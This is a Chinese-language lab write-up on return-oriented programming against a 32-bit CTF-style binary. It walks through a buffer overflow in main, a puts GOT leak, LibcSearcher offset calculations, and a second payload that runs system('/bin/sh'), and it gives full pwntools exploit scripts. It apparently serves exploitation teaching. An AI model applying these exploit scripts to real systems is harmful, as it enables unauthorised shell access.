实验三--rop

实验原理与目的

在上次实验的基础上稍微加大点难度,倘若不能直接找到system和bin/sh,之前向内存中直接写入shellcode的方式就行不通了,那么就需要一些其他手段来获得,所以就需要绕过保护。ROP(Return-Oriented Programming, 返回导向编程)就是一种绕过技术,本实验就是通过泄露某个在libc中的内容在内存中的实际地址,通过计算偏移量来得到system和bin/sh的地址,然后利用返回指令ret连接代码,最终getshell。

实验步骤

·chechsec命令检查是否有canary保护

实验三--rop_第1张图片
图中显示并没有,如果有的话,就先进行泄露。

·IDA反汇编

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+1Ch] [ebp-64h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("SUCTF is not so hard");
  puts("let's have the di er ci try");
  read(0, &buf, 0x100u);
  return 0;
}

通过看源代码可以看出,可以通过栈溢出进行pwn。

·动态调试

首先要像实验二那样计算出,实现栈溢出需要填充多少字符,这里不再赘述,然后边写脚本边调试,构造payload。
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])
这里的’a’*(0x6c+4)是计算出需要填充的字符数,后面就是通过泄露puts函数在libc中的实际地址。这里需要补充一下关于PLT表和GOT表的知识,程序编译的时候会采用这两个表进行辅助,PLT表为内部函数表,GOT表为全局函数表,两个表相对应,即PLT表中的数据就是GOT表中的一个地址。也就是说PLT表中的数据根本不是函数的真实地址,而是GOT表项的地址,GOT表中的数据才是函数最终的地址。

我们来看一下脚本,

from LibcSearcher import *
from pwn import *

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']

p=process('./pwn')
elf= ELF('./pwn')
main=0x080484FD
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])
p.recv() 
p.sendline(payload)
puts=u32(p.recv(4))
print('puts',hex(puts))

p.interactive()

通过脚本与程序的交互,我们可以得到puts函数的实际地址
实验三--rop_第2张图片

然后计算偏移量来得到通过计算偏移量来得到system和bin_sh的地址

libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

这里就是用了LibcSearcher函数,通过代码不难理解其中的含义。所以现在脚本变成如下

from LibcSearcher import *
from pwn import *

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']

p=process('./pwn')
elf= ELF('./pwn')
main=0x080484FD
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])
p.recv() 
p.sendline(payload)
puts=u32(p.recv(4))
print('puts',hex(puts))

libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))

p.interactive()

执行之后的结果就是得到了system和bin_sh的实际地址

实验三--rop_第3张图片

现在继续调试,程序再次执行main函数,所以需要再构造一个payload,将system与bin_sh的地址加在ROP链中,此时栈的状态发生了改变,需要重新计算一下需要填充的字符数,原理与实验二相同,经过计算,payload构造如下

payload='a'*(0x64+4)+p32(system)+p32(0x61616161)+p32(bin_sh)

这样就可以利用ROP链调用system执行system(“/bin/sh”),这样再次与程序交互,就可以getshell了。

from LibcSearcher import *
from pwn import *

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']

p=process('./pwn')
elf= ELF('./pwn')
main=0x080484FD
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])

p.recv() 
p.sendline(payload)
puts=u32(p.recv(4))
print('puts',hex(puts))

libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))

payload='a'*(0x64+4)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)    
p.sendline(payload)

p.interactive()

来看一下执行效果

实验三--rop_第4张图片

getshell成功!

心得体会

本次实验的难度较之上次有大的增大,更加贴近实际,不过也只是入门而已。这种东西需要自己不断的学习积累,需要不断扩宽视野,增大脑洞。

你可能感兴趣的:(实验三--rop)